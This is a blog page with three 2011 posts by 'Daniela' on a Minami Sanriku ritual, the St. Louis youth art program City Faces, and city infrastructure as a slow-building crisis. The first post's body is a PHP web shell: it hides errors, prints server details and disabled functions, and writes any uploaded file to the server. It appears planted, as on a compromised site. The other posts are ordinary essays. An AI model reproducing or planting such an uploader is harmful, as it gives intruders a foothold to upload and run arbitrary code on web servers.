Daniela

A New Ritual For Minami Sanriku

Posted by Daniela on November 16, 2011
Nov 162011

<?php
error_reporting(0);
echo "Jasmine
";
echo"".php_uname()."";
print "\n";$disable_functions = @ini_get("disable_functions");
echo "
DisablePHP=".$disable_functions; print "\n";
echo"

";
echo"
";
if($_POST["k"]==upload){
if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){
echo"".$_FILES["f"]["name"];
}else{
echo"Gagal upload cok";
}
}
?>

City Faces

Posted by Daniela on November 9, 2011
Nov 092011

Stella McGregor’s lecture on Monday reminded me of a similar program in St. Louis called City Faces. I had the pleasure of having Bob as a professor.

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City Faces works with children, teenagers, and young adults living in public housing in inner St. Louis. Since the 1993, the program has been run by Bob Hansman, a professor in the architecture school at Washington University in St. Louis, whose goal is “to change the course of the children’s lives by offering art as one alternative to selling drugs and becoming involved in gangs, and to teach kids employable skills to better their situation and get them out of the projects. Most importantly, City Faces strives to become a stable component in their lives, supporting them emotionally and professionally.”

City Faces is now in its 17th year and continues to expand. City Faces began essentially as a drawing program with an open studio format, and provided an opportunity for local kids to escape street violence and grow through creativity.

Hansman is an incredible role model for the kids. He gives constructive attention and validates their good decisions. He is someone they trust, so much so that he testifies for them at court and goes to their parole hearings.

A relatively recent offshoot of the City Faces program is Faces in the Loop, a storefront on a main retail street in St. Louis called “The Loop”. In addition to selling their portraits of city faces, the storefront gives them the opportunity to learn the skills they need to successfully run a business.

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I’m sure there are countless more examples of similar programs all over the country. It is inspiring and encouraging to realize that this can be done and can be done with great success through the persistence and dedication of one person.

 

I stumbled on this interview and thought it was relevant for us in considering the dilemma of our role as “givers”.

Some interesting insight on giving.

(the first half of the interview)

Infrastructure and Future Crises

Posted by Daniela on September 28, 2011
Sep 282011

The question of what constitutes conflict and crisis today is perhaps most critically defined by the difficulty in finding the limits of that very definition. Of course there are large scale events and situations that are undeniable as conflicts or crises, but our day-to-day experiences are also filled with individual moments of conflict and crisis. So where do we draw the line between the extraordinary and the ordinary? What determines which conflicts and crises deserve priority over the others? Is it simply a matter of scale? Or the number of people affected?

We have a tendency to focus on extreme situations of violence and natural disaster to define conflict and crisis. But in doing so, we overlook the conflicts and crises that simmer just below the surface—that have yet to erupt, but are equally as urgent. In fact, it is these crises that will eventually erupt into those very visible moments of violence and natural disaster. And it is often not a single event, but multiple events over a period of time. These unseen (or ignored) crises seem to be the most critical not in terms of response but in terms of management and prevention.

One example of a simmering crisis is the inadequacy (and particularly the short sightedness) of city infrastructure. City infrastructure for the most part is astonishingly irresponsible and is at the root of many larger issues (as well as acting as a magnifier of those issues).  On the surface, the subject doesn’t have much headline potential in terms of inspiring massive donations or even causing alarm in the general population. But it is a true crisis mired with current and future conflicts and it will inevitably affect people on a global scale not only in the long term, but also in the very short term.

Arguably, the greatest shortfall of most city infrastructure is its lack of flexibility. Future growth and potential for change is rarely considered in the planning and development of large scale projects. To design for one time use and one specific type of use is the norm, but how can such projects justify their cost for such a limited frame of time and use potential?

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